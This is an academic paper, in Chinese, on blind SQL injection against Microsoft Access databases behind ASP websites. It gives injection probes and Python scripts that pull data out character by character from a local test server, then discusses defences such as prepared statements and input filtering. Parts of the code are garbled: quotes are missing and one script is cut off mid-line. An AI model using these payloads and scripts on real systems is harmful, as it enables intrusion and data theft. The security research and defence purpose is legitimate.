王冬雪 韓灝 李鴻鵠
摘要:基于Windows+Access+ASP服務器的網絡架構,因成本低廉和易于操作被廣泛使用,這種架構極易因存在的安全漏洞和相關安全措施不嚴而受到各方面的攻擊與入侵,最常見的攻擊方式就是SQL注入。通過SQL注入攻擊獲取數據庫數據,利用其數據可進行網站滲透。在此基礎上,采用逐字猜解法注入,利用python腳本編寫獲取數據庫信息并進行腳本優化,從而研究Access數據庫SQL注入方式,給出SQL注入攻擊的防范方法。
關鍵詞:網絡安全;Access數據庫;SQL注入;攻防
中圖分類號:TP391.4文獻標志碼:A文章編號:1008-1739(2018)19-68-4
Research on SQL Injection Attack Based on Access Database
WANG Dongxue, HAN Hao, LI Honghu(College of Computer Science and Technology, Harbin University of Science and Technology, Harbin Heilongjiang 150000, China)
0引言
隨著互聯網時代的發展,人們在享受互聯網帶來便捷的同時,安全問題也日趨嚴峻。Windows+Access+ASP是常見的網絡架構類型之一,常用于構建動態網站。部分網站由于開發者安全意識較差,常受到不同種類的Web攻擊,SQL[1]注入是其中一種較為嚴重的攻擊方式。攻擊者利用開發人員對傳入參數與SQL語句的不正確拼合,將惡意的SQL語句注入到后臺數據庫來實現其操作,通過該攻擊可獲取用戶敏感數據信息,在服務器權限設置不當的情況下,可導致任意文件的上傳及下載,進而獲取網站Webshell,最終導致服務器淪陷。本文通過搭建基于Access數據庫的Web測試環境,編寫SQL注入python腳本,實現了對數據庫數據內容的獲取,并由此總結了Access數據庫SQL注入防范方法。
1前期準備
1.1環境搭建
本地測試環境采用Window2003+超級小旋風AspWebServer進行環境搭建,AspWebServer參數配置如下:
[localhost:sql]
hostLanguage=VBScript
hostUrl=192.168.208.139
listenPort=8003
rootPath=\wwwroot\sql
defaultFiles=index.asp,default.asp,index.html,default.html
第1行為配置名稱,第2行為使用的腳本語言,第3行為本機的IP地址,第4行為監聽的本地端口,第5行為網站的根路徑,第6行為默認的網站頁面。測試頁面顯示如圖1所示。
頁面顯示了報錯信息,由MicrosoftAccess Driver可知,數據庫類型為Access數據庫,查詢表達式為id=1513,多出一個單引號,該單引號與前一個單引號閉合,多出的找不到與之成對的單引號,導致數據庫報錯,接下來進行注入類型的判斷。
構造and 1=1和and 1=2分別作為id參數值傳入,如果頁面發生改變,則證明存在SQL注入,經測試頁面發生變化,語句并未使用單引號進行閉合,所以注入類型為int型注入。
1.3 SQL注入原理
Access只存在1個數據庫,所以與常規的SQL注入方式不同,可通過以下2種方式進行查詢,第1種為聯合查詢法,第2種為逐字猜解法。Access數據庫不存在系統表和系統庫,對于數據庫中的內容,只能通過暴力猜解的方式進行。
暴力猜解的方式如下:
①進行表的判斷:通過在閉合后的語句中加入and exists(select * from表名),表名部分可通過本地字典讀取,如果頁面返回無變化,則證明該表存在于數據庫中。
②進行表中字段的判斷:通過構造and exists (select列名from表名),表名為上述語句查詢的結果,列名需要通過字典文件暴力猜解的值。通過測試頁面的返回結果,如果頁面無變化,則證明該字段存在于該表中。
③進行數據部分的判斷:第一步判斷數據部分的長度,通過構造and (select top 1 len(列名)from表名)=長度,列名和表名可通過上述過程得出,使用循環語句,直到頁面返回正常,此時的長度為數據內容長度。第二步通過構造and (select top 1 asc(mid(列名,位數,1)) from表名)=ascll碼,頁面返回正常時,該ascll值為該數據對應位數的值。
2 Access逐字猜解法注入
2.1查詢數據信息
查詢數據信息的過程如下:
def queryDump(table,column,url,length=60):
len = 0
old = requests.get(url)
old.encoding = gb2312
#確認長度
for i in range(length):
payload = and(select top 1 len (%s) from %s) = %d %(column,table,i)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
len = i
print(len)
break
#判定每位的內容
dump =
for j in range(len):
for k in range(33,127):## ascll可見字符范圍
payload = and (select top 1 asc(mid(%s,%d,1)) from %s)=%d% (column,j+1,table,k)
payload = url + payload
new =requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
dump+=chr(k)
print(dump)
break
queryDump(admin,admin,http://192.168.199.73: 8003/Production/PRODUCT_DETAIL.asp?id=1513,40)
腳本首先進行了一次正常請求,并將請求結果保存在old變量中,然后構造查詢判斷字段長度,通過構造and (select top 1 len(column) from table)=length循環遍歷,直到前后返回結果相同,此時得到字段數據部分長度,在知道字段長度的基礎上,構造and(select top 1 asc(mid(字段,數據位置,1))from表名)=ascll碼,確定該字段數據內容的每一位所對應的ascll碼,并輸出其相應的字符,運行結果如圖3所示。
2.2逐字猜解法腳本優化
逐字猜解法腳本優化的過程如下:
def queryDumpx(table,column,url,length=60):
len=0
old= requests.get(url)
old.encoding = gb2312
#確認長度
start =0
end = length
while(startm = (start+end)//2
if(end - start == 1):
break
payload = and(select top 1 len (%s) from %s) < %d %(column, table, m)
payload = url + payload
print(payload)
new=requests.get(payload)
new.encoding = gb2312
if new.text == old.text:
end = m
else:
start = m
len = m
print(len)
#判定每位的內容
dump =
for j in range(len):
# for k in range(33,127):## ascll可見字符范圍
s=33
t=127
while(s
3.2采用預編譯語句集
防御SQL注入的最佳方式就是使用預編譯語句,預編譯后的SQL語句的語義不會發生改變。初始運行程序和操作數據庫時,會對SQL語句進行分析、優化與編譯,需執行的計劃被緩存下來并允許數據庫以參數化的形式進行查詢[3]。由此將輸入的數據庫語句中使用到的參數進行設置,若輸入了錯誤的或不同類型的參數值,在編寫到數據庫語句中導致編譯不通過,這樣也就有效地防止了SQL注入。
3.3對用戶輸入進行限定
用戶輸入的內容不直接拼合到SQL語句中,可以利用存儲過程中[4]對用戶的輸入進行驗證與過濾,存儲過程的語句可在創建時就被編譯,但只會運行創建時所定義的查詢語句的語法,用戶輸入并不參與語法構造,故無法達到執行SQL語句,還可通過對用戶輸入中存在的內容進行過濾。但這種方式并不能很好地防范SQL注入攻擊,攻擊者總是能找到新的攻擊字符串,繞過各種過濾檢查,而且這種防御機制亦取決于開發者編寫驗證代碼與確定其使用系統環境的能力[5]。
3.4對敏感信息加密
盡管關于SQL注入的防范技術不斷發展,仍無法完全規避攻擊者進行的滲透與攻擊。作為網站管理人員,應對用戶敏感信息進行高強度加密處理,常規密碼算法有DES及其變形Triple DES、GDES、New DES等[6]。即便加密后的內容被獲取,攻擊者也無法破解對應的數據信息。
4結束語
通過對Access數據庫SQL注入方法之一的逐字猜解法進行了具體研究,采用python語言實現了對數據庫信息的自動化獲取,可調用上述腳本獲取指定數據內容。該測試證明了SQL注入的危害性,并針對于Access數據庫SQL注入攻擊,總結出幾種安全預防手段,運用這些手段能夠有效增強ASP+Access+IIS網絡架構的安全性。
參考文獻
[1]練坤梅,許靜,田偉,等.SQL注入漏洞多等級檢測方法研究[J].計算機科學與探索,2011,5(5):474-480.
[2]顧宏山.ACCESS數據庫的安全系統[J].滄州師范專科學校學報,2008(2):110-111.
[3]黃明輝.基于SQL Server的SQL注入攻擊防范方法[J].計算機安全,2008(8):122-124.
[4]王綿金,田華,張晉桂.SQL注入攻擊原理和防范方法[J].信息與電腦:理論版,2016(5):182-183.
[5]馬小婷,胡國平,李舟軍.SQL注入漏洞檢測與防御技術研究[J].計算機安全,2010(11):18-24.
[6]徐康庭.網絡安全與網絡信息加密技術分析[J].數字通信世界,2018(2):102.